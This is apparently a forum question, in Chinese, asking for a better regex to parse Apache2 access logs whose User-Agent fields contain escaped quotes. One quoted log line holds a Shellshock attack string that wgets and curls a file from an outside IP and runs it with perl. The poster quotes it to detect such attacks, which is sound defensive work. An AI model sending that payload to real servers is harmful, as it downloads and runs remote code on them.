我想解析 Apache2 日志文件,并在这里找到了一个很好的正则表达式,使用下面的正则表达式:
/^(\S+) (\S+) (\S+) \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) "([^"]*)" "([^"]*)"$/
问题是这个正则表达式早于 shellshock hack 机器人,并且该字符串返回与如下发送的用户代理字符串不匹配的字符串:
糟糕的 bash 攻击示例:
199.217.117.211 - - [18/Jan/2015:04:51:19 -0500] "GET /cgi-bin/help.cgi HTTP/1.0" 404 498 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://185.28.190.69/mc;curl -O http://185.28.190.69/mc;perl mc;perl /tmp/mc\""
这是一个常规的日志行:
157.55.39.0 - - [18/Jan/2015:09:32:37 -0500] "GET / HTTP/1.1" 200 37966 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
有人可以提供一个更新的正则表达式来处理被黑客入侵的用户代理字符串,或者建议一个替代的两步 php - 正则表达式来更好地证明黑客攻击?我可以看到与处理 \" 有关的具体问题,并且似乎最后一个 regep 可以替换为 "(.*)"$ 但我想要专家意见......谢谢。